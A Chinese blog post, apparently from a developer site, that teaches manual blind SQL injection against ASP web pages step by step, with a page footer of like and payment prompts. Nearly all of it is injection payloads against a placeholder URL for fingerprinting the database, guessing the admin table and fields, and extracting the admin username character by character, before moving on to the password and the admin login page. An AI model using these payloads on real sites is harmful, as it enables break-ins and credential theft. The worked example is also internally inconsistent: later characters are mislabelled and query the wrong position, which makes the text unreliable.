SQL手动注入

第一步:寻找注入点,用啊D注入工具或明小子注入工具都行

第二步:判断注入点能否注入
1. http://www.xxx.asp?id=4
2. http://www.xxx.asp?id=4 and 1=1
3. http://www.xxx.asp?id=4 and 1=2
如果2显示正常,3显示不正常,说明可以注入
如果2,3都显示不正常,说明不可以进行注入

第三步:判断数据库的类型
1. http://www.xxx.asp?id=4 and (select count(*) from sysobjects)>0
2. http://www.xxx.asp?id=4 and (select count(*) from msysobjects)>0
如果数据库是SQLserver数据库,则1的显示内容和正常的差不多,2显示的内容就会出现错误。

第四步:猜表名
http://www.xxx.asp?id=4 and (select count(*) from admin)>=0
如果正常显示,说明表admin存在,否则,不存在。

第五步:猜字段名
http://www.xxx.asp?id=4 and (select count(username) from admin)>=0
http://www.xxx.asp?id=4 and (select count(password) from admin)>=0
如果正常显示,说明字段username,password存在,否则,不存在。

第六步:猜字段名的长度
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>4成立
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>5不成立
字段的长度就是len(username)=5

第七步:得到字段的ASCII码
username字段,第一个字符是 a
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>96成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>97不成立
97的ASCII码是 a

username字段,第二个字符是 d
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>99成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>100不成立
100的ASCII码是 d

username字段,第二个字符是 m
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>108成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>109不成立
109的ASCII码是 m

username字段,第二个字符是 i
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>104成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>105不成立
105的ASCII码是 i

username字段,第二个字符是 n
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>109成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>110不成立
110的ASCII码是 n

所以username=admin
password也用这样的方法,推算出来,再通过工具把后台地址扫描出来就OK~/(≧▽≦)/~啦啦啦

 

 

 

 

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值